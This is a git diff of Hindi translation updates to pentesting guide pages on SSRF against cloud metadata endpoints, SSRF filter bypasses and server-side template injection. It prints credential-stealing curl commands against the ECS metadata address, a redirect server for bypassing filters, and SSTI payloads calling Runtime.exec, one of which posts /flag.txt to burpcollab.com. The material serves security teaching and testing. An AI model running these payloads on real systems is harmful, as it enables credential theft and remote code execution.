**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने स्वयं के क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS आपके लिए इसका प्रबंधन करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**।
|
||||
**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS यह आपके लिए प्रबंधित करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**।
|
||||
|
||||
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको **\<GUID>** **खोजना** होगा। \<GUID> खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** को पढ़ना होगा।\
|
||||
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको **\<GUID>** ढूंढना होगा। \<GUID> खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** को पढ़ना होगा।\
|
||||
आप इसे `file:///proc/self/environ` पर **Path Traversal** का उपयोग करके पढ़ने में सक्षम हो सकते हैं।\
|
||||
उल्लेखित http पता आपको **AccessKey, SecretKey और token** देगा।
|
||||
उल्लिखित http पता आपको **AccessKey, SecretKey और token** देना चाहिए।
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
इसके अलावा, IAM क्रेडेंशियल्स के अलावा, Lambda फ़ंक्शंस के पास **इवेंट डेटा होता है जो फ़ंक्शन शुरू होने पर पास किया जाता है**। यह डेटा फ़ंक्शन के लिए [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) के माध्यम से उपलब्ध कराया जाता है और इसमें **संवेदनशील** **जानकारी** हो सकती है (जैसे **stageVariables** के अंदर)। IAM क्रेडेंशियल्स के विपरीत, यह डेटा मानक SSRF के माध्यम से **`http://localhost:9001/2018-06-01/runtime/invocation/next`** पर एक्सेस किया जा सकता है।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **lambda क्रेडेंशियल्स** **env वेरिएबल्स** के अंदर होते हैं। इसलिए यदि **स्टैक ट्रेस** में lambda कोड env वेरिएबल्स प्रिंट करता है, तो ऐप में **एक त्रुटि उत्पन्न करके उन्हें एक्सफिल्ट्रेट करना संभव है**।
|
||||
> ध्यान दें कि **lambda क्रेडेंशियल्स** **env वेरिएबल्स** के अंदर होते हैं। इसलिए यदि **स्टैक ट्रेस** lambda कोड env वेरिएबल्स को प्रिंट करता है, तो ऐप में **एक त्रुटि उत्पन्न करके उन्हें एक्सफिल्ट्रेट करना संभव है**।
|
||||
|
||||
### SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
@ -235,11 +235,11 @@ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
> **निकाली गई सेवा खाता टोकन** का उपयोग करने के लिए आप बस यह कर सकते हैं:
|
||||
>
|
||||
> ```bash
|
||||
> # पर्यावरण चर के माध्यम से
|
||||
> # Via env vars
|
||||
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
> gcloud projects list
|
||||
>
|
||||
> # सेटअप के माध्यम से
|
||||
> # Via setup
|
||||
> echo "<token>" > /some/path/to/token
|
||||
> gcloud config set auth/access_token_file /some/path/to/token
|
||||
> gcloud projects list
|
||||
@ -418,7 +418,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
|
||||
**env** से आप **`IDENTITY_HEADER`** और **`IDENTITY_ENDPOINT`** के मान प्राप्त कर सकते हैं। जिसका उपयोग आप मेटाडेटा सर्वर के साथ बात करने के लिए एक टोकन इकट्ठा करने के लिए कर सकते हैं।
|
||||
|
||||
अधिकतर, आप इन संसाधनों में से किसी एक के लिए टोकन चाहते हैं:
|
||||
अधिकतर, आप इनमें से किसी एक संसाधन के लिए टोकन चाहते हैं:
|
||||
|
||||
- [https://storage.azure.com](https://storage.azure.com/)
|
||||
- [https://vault.azure.net](https://vault.azure.net/)
|
||||
|
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
चेक करें **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
जांचें **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -77,7 +77,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP फ़ॉर्मेटिंग बायपास को लागू करता है।
|
||||
**Burp एक्सटेंशन** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP फॉर्मेटिंग बायपास को लागू करता है।
|
||||
|
||||
### डोमेन पार्सर
|
||||
```bash
|
||||
@ -145,7 +145,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक आजमा सकते हैं:
|
||||
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -153,7 +153,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
```
|
||||
### Fuzzing
|
||||
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए गए इनपुट से विभिन्नताएँ उत्पन्न कर सकता है ताकि उपयोग किए गए regex को बायपास करने की कोशिश की जा सके। अधिक जानकारी के लिए [**इस पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) को देखें।
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए गए इनपुट से विभिन्नताएँ उत्पन्न कर सकता है ताकि उपयोग किए गए regex को बायपास करने की कोशिश की जा सके। अधिक जानकारी के लिए [**इस पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) को भी देखें।
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
@ -164,7 +164,7 @@ The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए
|
||||
### Bypass via redirect
|
||||
|
||||
यह संभव है कि सर्वर SSRF के **मूल अनुरोध को फ़िल्टर कर रहा हो** **लेकिन** उस अनुरोध के लिए संभावित **रीडायरेक्ट** प्रतिक्रिया को नहीं।\
|
||||
उदाहरण के लिए, एक सर्वर जो SSRF के प्रति संवेदनशील है: `url=https://www.google.com/` संभवतः **url पैरामीटर को फ़िल्टर कर रहा हो**। लेकिन यदि आप एक [python सर्वर का उपयोग करते हैं जो 302 के साथ प्रतिक्रिया करता है](https://pastebin.com/raw/ywAUhFrv) उस स्थान पर जहाँ आप रीडायरेक्ट करना चाहते हैं, तो आप **फ़िल्टर किए गए IP पते** जैसे 127.0.0.1 या यहां तक कि फ़िल्टर किए गए **प्रोटोकॉल** जैसे gopher तक पहुँच सकते हैं।\
|
||||
उदाहरण के लिए, एक सर्वर जो SSRF के प्रति संवेदनशील है: `url=https://www.google.com/` संभवतः **url पैरामीटर को फ़िल्टर कर रहा हो**। लेकिन यदि आप एक [python सर्वर का उपयोग करते हैं जो 302 के साथ प्रतिक्रिया देता है](https://pastebin.com/raw/ywAUhFrv) उस स्थान पर जहाँ आप रीडायरेक्ट करना चाहते हैं, तो आप **फ़िल्टर किए गए IP पते** जैसे 127.0.0.1 या यहां तक कि फ़िल्टर किए गए **प्रोटोकॉल** जैसे gopher तक पहुँच सकते हैं।\
|
||||
[इस रिपोर्ट को देखें।](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
@ -186,25 +186,25 @@ self.end_headers()
|
||||
|
||||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## समझाए गए ट्रिक्स
|
||||
## Explained Tricks
|
||||
|
||||
### ब्लैकस्लैश-ट्रिक
|
||||
### Blackslash-trick
|
||||
|
||||
_बैकस्लैश-ट्रिक_ [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच के अंतर का लाभ उठाता है। जबकि RFC3986 URI के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग के तरीके को प्रभावित करता है, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है।
|
||||
_बैकस्लैश-ट्रिक_ [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच के अंतर का लाभ उठाता है। जबकि RFC3986 URI के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग के तरीके को प्रभावित करता है, विशेष रूप से URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है।
|
||||
|
||||

|
||||
|
||||
### बाईं स्क्वायर ब्रैकेट
|
||||
### Left square bracket
|
||||
|
||||
उपयोगकर्ता जानकारी खंड में “बाईं स्क्वायर ब्रैकेट” चरित्र `[` Spring के UriComponentsBuilder को एक होस्टनेम मान लौटाने का कारण बन सकता है जो ब्राउज़रों से भिन्न होता है: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
उपयोगकर्ता जानकारी खंड में “बाएं वर्ग ब्रैकेट” चरित्र `[` Spring के UriComponentsBuilder को एक होस्टनेम मान लौटाने का कारण बन सकता है जो ब्राउज़रों से भिन्न होता है: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### अन्य भ्रम
|
||||
### Other Confusions
|
||||
|
||||
.png>)
|
||||
|
||||
छवि [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) से
|
||||
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
@ -17,7 +17,7 @@ output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
पेलोड `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।
|
||||
पेलोड `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त हो सकता है।
|
||||
|
||||
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-सचेत एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
|
||||
|
||||
@ -32,7 +32,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
|
||||
#### पहचान चरण
|
||||
|
||||
टेम्पलेट इंजन की पहचान त्रुटि संदेशों का विश्लेषण करने या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करने में शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
|
||||
टेम्पलेट इंजन की पहचान त्रुटि संदेशों का विश्लेषण करके या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करके की जाती है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
|
||||
|
||||
#### पेलोड द्वारा पहचान
|
||||
|
||||
@ -44,7 +44,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
एक प्रभावी SSTI + CSTI स्कैनर जो नवीनतम पॉलीग्लॉट्स का उपयोग करता है
|
||||
एक प्रभावी SSTI + CSTI स्कैनर जो नवीनतम पॉलीग्लॉट्स का उपयोग करता है।
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -172,7 +172,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`।
|
||||
|
||||
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
|
||||
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को अपने स्वयं के `TemplateResolver` को लागू करने की आवश्यकता होगी ताकि वे स्ट्रिंग्स से टेम्पलेट को ऑन-द-फ्लाई बना सकें, जो असामान्य है।
|
||||
|
||||
Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
|
||||
```java
|
||||
@ -185,7 +185,7 @@ Thymeleaf _expression preprocessing_ भी प्रदान करता ह
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है जैसे:
|
||||
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँचता है जैसे:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
@ -320,7 +320,7 @@ Jinjava एक ओपन सोर्स प्रोजेक्ट है ज
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Jinjava प्रोजेक्ट को Github पर खोजें](https://github.com/HubSpot/jinjava/).
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Jinjava प्रोजेक्ट को Github पर खोजें](https://github.com/HubSpot/jinjava/)।
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुगम बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:
|
||||
|
||||
- **JavaServer Faces (JSF)**: JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।
|
||||
- **JavaServer Pages (JSP)**: JSP में डेटा को एक्सेस और मैनिपुलेट करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
|
||||
- **JavaServer Pages (JSP)**: JSP में डेटा तक पहुँचने और उसे संशोधित करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना बनती है।
|
||||
|
||||
**EL इंटरप्रेटर्स के शोषण** के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें:
|
||||
@ -387,7 +387,7 @@ el-expression-language.md
|
||||
|
||||
### ग्रूवी (Java)
|
||||
|
||||
निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**लेख**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं।
|
||||
निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं।
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
@ -672,7 +672,7 @@ URLencoded:
|
||||
| **टेम्पलेट** | **विवरण** |
|
||||
| ------------ | ------------------------------------- |
|
||||
| | आउटपुट का मूल्यांकन और रेंडर करें |
|
||||
| | HTML एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें |
|
||||
| | एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें |
|
||||
| | टिप्पणी |
|
||||
| और | कोड की अनुमति दें (डिफ़ॉल्ट रूप से अक्षम) |
|
||||
|
||||
@ -780,13 +780,13 @@ range.constructor(
|
||||
|
||||
### पायथन
|
||||
|
||||
**सैंडबॉक्स को बायपास करने के लिए मनमाने कमांड निष्पादन** के बारे में ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ देखें:
|
||||
**सैंडबॉक्स को बायपास करने** के लिए ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ पर जाएं:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
{{#endref}}
|
||||
|
||||
### टॉरनेडो (पायथन)
|
||||
### टॉर्नेडो (पायथन)
|
||||
|
||||
- `{{7*7}} = 49`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -933,7 +933,7 @@ ${x}
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
यह भले ही पर्ल है, लेकिन यह रूबी में ERB की तरह टैग का उपयोग करता है।
|
||||
यह भले ही पर्ल है, लेकिन यह रूबी में ERB जैसे टैग का उपयोग करता है।
|
||||
|
||||
- `<%= 7*7 %> = 49`
|
||||
- `<%= foobar %> = Error`
|
||||
@ -947,7 +947,7 @@ Go के टेम्पलेट इंजन में, इसके उप
|
||||
|
||||
- `{{ . }}`: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें `Password` विशेषता है, पास किया जाता है, तो `{{ .Password }}` इसे उजागर कर सकता है।
|
||||
- `{{printf "%s" "ssti" }}`: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "ssti" को "html" या "js" जोड़ने के बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में खोजा जा सकता है [यहां](https://golang.org/pkg/text/template)।
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में खोजा जा सकता है [यहाँ](https://golang.org/pkg/text/template)।
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -959,9 +959,9 @@ vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहां html/template के लिए](https://golang.org/pkg/html/template/) और [यहां text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
|
||||
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहाँ html/template के लिए](https://golang.org/pkg/html/template/) और [यहाँ text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
|
||||
|
||||
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
|
||||
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -983,7 +983,7 @@ return string(out)
|
||||
|
||||
## संबंधित सहायता
|
||||
|
||||
यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:
|
||||
यदि आपको लगता है कि यह उपयोगी हो सकता है, पढ़ें:
|
||||
|
||||
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
|
||||
@ -995,7 +995,7 @@ return string(out)
|
||||
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## ब्रूट-फोर्स डिटेक्शन सूची
|
||||
## ब्रूट-फोर्स डिटेक्शन लिस्ट
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
|
@ -4,25 +4,25 @@
|
||||
|
||||
## Bsic Info
|
||||
|
||||
Expression Language (EL) JavaEE में प्रस्तुति परत (जैसे, वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे, प्रबंधित बीन) के बीच पुल बनाने में महत्वपूर्ण है, जिससे उनकी बातचीत संभव होती है। इसका मुख्य रूप से उपयोग किया जाता है:
|
||||
Expression Language (EL) JavaEE में प्रस्तुति परत (जैसे, वेब पृष्ठ) और अनुप्रयोग तर्क (जैसे, प्रबंधित बीन्स) के बीच पुल बनाने में महत्वपूर्ण है, जिससे उनकी बातचीत संभव होती है। इसका मुख्य रूप से उपयोग किया जाता है:
|
||||
|
||||
- **JavaServer Faces (JSF)**: UI घटकों को बैकएंड डेटा/क्रियाओं से जोड़ने के लिए।
|
||||
- **JavaServer Pages (JSP)**: JSP पृष्ठों के भीतर डेटा पहुंच और हेरफेर के लिए।
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: प्रबंधित बीन के साथ वेब परत की बातचीत को सुविधाजनक बनाने के लिए।
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: प्रबंधित बीन्स के साथ वेब परत की बातचीत को सुविधाजनक बनाने के लिए।
|
||||
|
||||
**Usage Contexts**:
|
||||
|
||||
- **Spring Framework**: सुरक्षा और डेटा जैसे विभिन्न मॉड्यूल में लागू किया गया।
|
||||
- **General Use**: JVM-आधारित भाषाओं जैसे Java, Kotlin, और Scala में डेवलपर्स द्वारा SpEL API के माध्यम से।
|
||||
|
||||
EL JavaEE तकनीकों, स्वतंत्र वातावरणों में मौजूद है, और इसे `.jsp` या `.jsf` फ़ाइल एक्सटेंशन, स्टैक त्रुटियों, और हेडर में "Servlet" जैसे शब्दों के माध्यम से पहचाना जा सकता है। हालाँकि, इसकी विशेषताएँ और कुछ वर्णों का उपयोग संस्करण-निर्भर हो सकता है।
|
||||
EL JavaEE प्रौद्योगिकियों, स्वतंत्र वातावरणों में मौजूद है, और इसे `.jsp` या `.jsf` फ़ाइल एक्सटेंशन, स्टैक त्रुटियों, और हेडर में "Servlet" जैसे शब्दों के माध्यम से पहचाना जा सकता है। हालाँकि, इसकी विशेषताएँ और कुछ वर्णों का उपयोग संस्करण-निर्भर हो सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> **EL संस्करण** के आधार पर कुछ **विशेषताएँ** **On** या **Off** हो सकती हैं और आमतौर पर कुछ **वर्ण** **अस्वीकृत** हो सकते हैं।
|
||||
|
||||
## Basic Example
|
||||
|
||||
